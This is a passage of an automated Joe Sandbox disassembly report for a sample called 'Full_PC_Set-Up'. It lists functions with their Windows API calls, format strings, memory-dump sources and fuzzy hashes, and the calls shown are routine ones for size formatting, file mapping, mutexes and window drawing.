Opcode Fuzzy Hash: f2efb82ae26b6d42f5f77ed83ac8107df303449c678c603758be9a56f6527227
Instruction Fuzzy Hash: 1041E131654B409FD321EB2ACC86B5BB7F8FF85720FA08A1DF5A5972A0DB7098148B51

Function 002EC6C0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 002EC72E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC76B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC794
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EC7C2

Strings

%.2f GBs, xrefs: 002EC784
%.2f MBs, xrefs: 002EC7B1
%.2f KBs, xrefs: 002EC7DF
%I64d Bytes, xrefs: 002EC7E9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 404621862-3509155508
Opcode ID: 1e6b1c5ed0502f77f7d6378101b28b401cb664a2184df229beb8afbe9d8a72c0
Instruction ID: c2b1e0dd9b246350dc7bc3743527a1176a568066e849a60021f20a200653e7d1
Opcode Fuzzy Hash: 1e6b1c5ed0502f77f7d6378101b28b401cb664a2184df229beb8afbe9d8a72c0
Instruction Fuzzy Hash: A7411170614741AFC310EF79DC82F5AB7E8FB88728F604A1DF099D6291DB70A815CB62

Function 002EB030 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 002EB09E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB0D5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB0FE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002EB12C

Strings

%.2f GBs, xrefs: 002EB0EE
%.2f MBs, xrefs: 002EB11B
%.2f KBs, xrefs: 002EB149
%I64d Bytes, xrefs: 002EB153

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GBs$%.2f KBs$%.2f MBs$%I64d Bytes
API String ID: 404621862-3509155508
Opcode ID: 935e651b432158ffe6f3504a3a54ea9bcef5acc4a9cb05ff40ed8aa84977f163
Instruction ID: 71c5d82a2c2b7174711e90e87dddb1e46b19422471d38b7bfb1a36f73d663450
Opcode Fuzzy Hash: 935e651b432158ffe6f3504a3a54ea9bcef5acc4a9cb05ff40ed8aa84977f163
Instruction Fuzzy Hash: D341D430654B419FD350EF29DC95F5BB7F8FB88724F604A1DF09997290DB7098148B62

Function 002ED930 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED968
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED991
GetTickCount.KERNEL32 ref: 002ED9FE

Strings

%.2f KB, xrefs: 002ED9E0
%.2f MB, xrefs: 002ED9B0
%I64d Byte, xrefs: 002ED9EA
%.2f GB, xrefs: 002ED981

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GB$%.2f KB$%.2f MB$%I64d Byte
API String ID: 404621862-1798176202
Opcode ID: 17a84ec4376d254da97dc8e249881cd9581aa7ac8624b0ba0ea6c0a85b34c4f3
Instruction ID: 6d2bea3e84280fd15f747c6417a1d990b03993eaa317f81c4d976abcd95beb89
Opcode Fuzzy Hash: 17a84ec4376d254da97dc8e249881cd9581aa7ac8624b0ba0ea6c0a85b34c4f3
Instruction Fuzzy Hash: 62210871A54700ABD320AF79DC46F67B7B8FB84704F900A1DF5DAA6085DB7068188767

Function 002ED820 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED856
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED87F
GetTickCount.KERNEL32 ref: 002ED8EC

Strings

%.2f KB, xrefs: 002ED8CE
%.2f MB, xrefs: 002ED89E
%I64d Byte, xrefs: 002ED8D8
%.2f GB, xrefs: 002ED86F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GB$%.2f KB$%.2f MB$%I64d Byte
API String ID: 404621862-1798176202
Opcode ID: d8786f4e96dff2826467b53a0efc1825177dbd69abaa52667985ef3fdf6b6766
Instruction ID: 009b86259a405023f627ad36d0e3b6aa9ed6cf939e473e0bec96eafdd50fcd39
Opcode Fuzzy Hash: d8786f4e96dff2826467b53a0efc1825177dbd69abaa52667985ef3fdf6b6766
Instruction Fuzzy Hash: 6221C130654704ABD320EF79DC86FABB7A8BF94704F90491DF0DAA2081DB7068289726

Function 002ED730 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED758
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 002ED781
GetTickCount.KERNEL32 ref: 002ED7F3

Strings

%.2f KB, xrefs: 002ED7D0
%.2f MB, xrefs: 002ED7A0
%I64d Byte, xrefs: 002ED7DA
%.2f GB, xrefs: 002ED771

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CountTick
String ID: %.2f GB$%.2f KB$%.2f MB$%I64d Byte
API String ID: 404621862-1798176202
Opcode ID: da3bf1d0ea5fd7733780be6edc803437b4290f5e2f97bdd689449a1eec26e46b
Instruction ID: e04fba4b0e366d54d5234be4f3e2a01ae0137b737aa39ff031eb0a237ec115ec
Opcode Fuzzy Hash: da3bf1d0ea5fd7733780be6edc803437b4290f5e2f97bdd689449a1eec26e46b
Instruction Fuzzy Hash: EB21D571554700ABD320EF799C86FABB7F8FB95704F904D1DF1D9A6081DB7064288722

Function 003149C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 68fileCOMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNEL32(000F001F,00000000,004DAF08,?,?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 003149DA
CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00020000,004DAF08,?,?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF), ref: 003149FC
GetLastError.KERNEL32(?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 00314A11
MapViewOfFile.KERNEL32(?,000F001F,00000000,00000000,00020000,?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 00314A3C
CloseHandle.KERNEL32(?,?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 00314A71
GetLastError.KERNEL32(?,00314743,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 00314A81

Strings

CFMappingLog::InitFileMapping MapViewOfFile GetLastError %d, xrefs: 00314A88
CFMappingLog::InitFileMapping OpenFileMapping or CreateFileMapping GetLastError %d, xrefs: 00314A18

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$ErrorLastMapping$CloseCreateHandleOpenView
String ID: CFMappingLog::InitFileMapping MapViewOfFile GetLastError %d$CFMappingLog::InitFileMapping OpenFileMapping or CreateFileMapping GetLastError %d
API String ID: 1763281858-431986821
Opcode ID: 34f1442cc2722bc74cce2ed16ef22d1fbc47869c07ca782f68e2254eb9d57342
Instruction ID: 5b56aada1a2de2e3d0f0d5f839aaac38b7697dcd232dcbc500c89b2f9ab3445e
Opcode Fuzzy Hash: 34f1442cc2722bc74cce2ed16ef22d1fbc47869c07ca782f68e2254eb9d57342
Instruction Fuzzy Hash: 5B217C78640204EFD704CB84DD4AFA9B7B6FF48700F258199FA056B392C771AE90EB59

Function 0030CBC0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 64synchronizationCOMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0030CBF3

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

CreateMutexW.KERNEL32(00000000,00000000,?,?,?,?,?,00000000), ref: 0030CC04
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 0030CC13
ReleaseMutex.KERNEL32(00000000), ref: 0030CC6C
CloseHandle.KERNEL32(00000000), ref: 0030CC73

Strings

%s%x, xrefs: 0030CBE4
File, xrefs: 0030CBDF
recover file fail, :%s, xrefs: 0030CC5A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Mutex$CloseCreateHandleObjectReleaseSingleWait__vswprintf_s_lswprintf
String ID: %s%x$File$recover file fail, :%s
API String ID: 61406481-2560221455
Opcode ID: 086060ff90f69a835ad73afe881f61cc7a3246f2a96dc16af1aa5630ed143d87
Instruction ID: c838296de1f0f1bdde5cbfe4fae8de88d3679de39685426887acc0fa5d5d3071
Opcode Fuzzy Hash: 086060ff90f69a835ad73afe881f61cc7a3246f2a96dc16af1aa5630ed143d87
Instruction Fuzzy Hash: B82190B1105700AFD320DF64D859B2BB7F4EB88B18F104A1CF89987281EB74E409CBA3

Function 00377460 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00377488
GetStockObject.GDI32(0000000D), ref: 00377490
GetObjectW.GDI32(00000000,0000005C,?), ref: 0037749D
GetDC.USER32(00000000), ref: 003774AC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 003774C0
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 003774CC
ReleaseDC.USER32(00000000,00000000), ref: 003774D8

Strings

System, xrefs: 00377483, 003774ED

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 13d1f0e75736f1f025b3eb2778857b81012c7bfcfeb7d575899823ce6f0ff9f6
Instruction ID: 34d558c38c1cceb99c644d50c0bbf27588bbd2e25456578f03865e604490e156
Opcode Fuzzy Hash: 13d1f0e75736f1f025b3eb2778857b81012c7bfcfeb7d575899823ce6f0ff9f6
Instruction Fuzzy Hash: 2A119171A05318EBEB209BA1DC4DFAE7BB9EB54741F054026FA09AB1C0DB749C01CB65

Function 003AA7B0 Relevance: 13.7, APIs: 9, Instructions: 247windowCOMMON

Download Yara Rule

APIs

GetIconInfo.USER32(?,?), ref: 003AA871
DeleteObject.GDI32(00000000), ref: 003AA8B7
DeleteObject.GDI32(?), ref: 003AA8BE
DeleteObject.GDI32(?), ref: 003AA914

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: DeleteObject$IconInfo
String ID:
API String ID: 4169522714-0
Opcode ID: 9a64f2592e619eb5af3b886332da26bf90e340ddd36373416ff52b72dfa7bf30
Instruction ID: 4c7c488657017335a75b9319fd9048c1da70bd0221416163c351ba0df7b20876
Opcode Fuzzy Hash: 9a64f2592e619eb5af3b886332da26bf90e340ddd36373416ff52b72dfa7bf30
Instruction Fuzzy Hash: 66919D76204B059FC325DF64CC81B6BB3E8EF49700F054A2DF9568B281EB75E949CB62

Function 002D5220 Relevance: 13.7, APIs: 9, Instructions: 206COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 002D5257
GetWindowRect.USER32(?,?), ref: 002D5278
GetClientRect.USER32(?,?), ref: 002D5287
GetParent.USER32(?), ref: 002D529D
GetDC.USER32(?), ref: 002D5309
GetTextExtentPoint32W.GDI32(?,?,00000000,?), ref: 002D533D
ReleaseDC.USER32(?,?), ref: 002D5369

Part of subcall function 00367C65: GetWindowLongW.USER32(?,000000F0), ref: 00367C70

InflateRect.USER32(?,00000000,?), ref: 002D53C0
InflateRect.USER32(?,?,00000000), ref: 002D53F8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Window$Inflate$ClientExtentLongParentPoint32ReleaseText
String ID:
API String ID: 1271757-0
Opcode ID: 3935b9b6e6ffc0a3195d90c79d9b6847f2ae8897215226f79cdaaf69d178a31b
Instruction ID: 0e56d150197c56b483725063b41d065e66009bb1613cc2e2c5e6fc3f8fa3a164
Opcode Fuzzy Hash: 3935b9b6e6ffc0a3195d90c79d9b6847f2ae8897215226f79cdaaf69d178a31b
Instruction Fuzzy Hash: 75716AB12147029FC704DF68C888A6BB7E9FB88314F148A1DF99997394DB74ED05CB92

Function 0029E590 Relevance: 13.7, APIs: 9, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0029E5F6

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

InvalidateRect.USER32(?,?,00000000), ref: 0029E67C
InvalidateRect.USER32(?,?,00000000), ref: 0029E6F5
GetClientRect.USER32(?,?), ref: 0029E704
OffsetRect.USER32(?,00000000,00000000), ref: 0029E712
GetParent.USER32(?), ref: 0029E792
GetParent.USER32(?), ref: 0029E7A0
GetParent.USER32(?), ref: 0029E7B6
SendMessageW.USER32(?,00001C3C,00000000,?), ref: 0029E7D8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Parent$ClientInvalidate$MessageOffsetScrollSend
String ID:
API String ID: 1405379848-0
Opcode ID: 57114b1b18af163b29740305cebcff9f81940486fe2404df1fe189d744dca4b3
Instruction ID: f98d3258bd5210781c20aea8e4c4c0f072b73f09426c651d3ca6d525a2e0315b
Opcode Fuzzy Hash: 57114b1b18af163b29740305cebcff9f81940486fe2404df1fe189d744dca4b3
Instruction Fuzzy Hash: 6D7146712043009FCB14DF68C884FAAB7E5FF88714F054A1DF5998B395DB71E8418B92

Function 002E6090 Relevance: 13.7, APIs: 9, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002E60BC
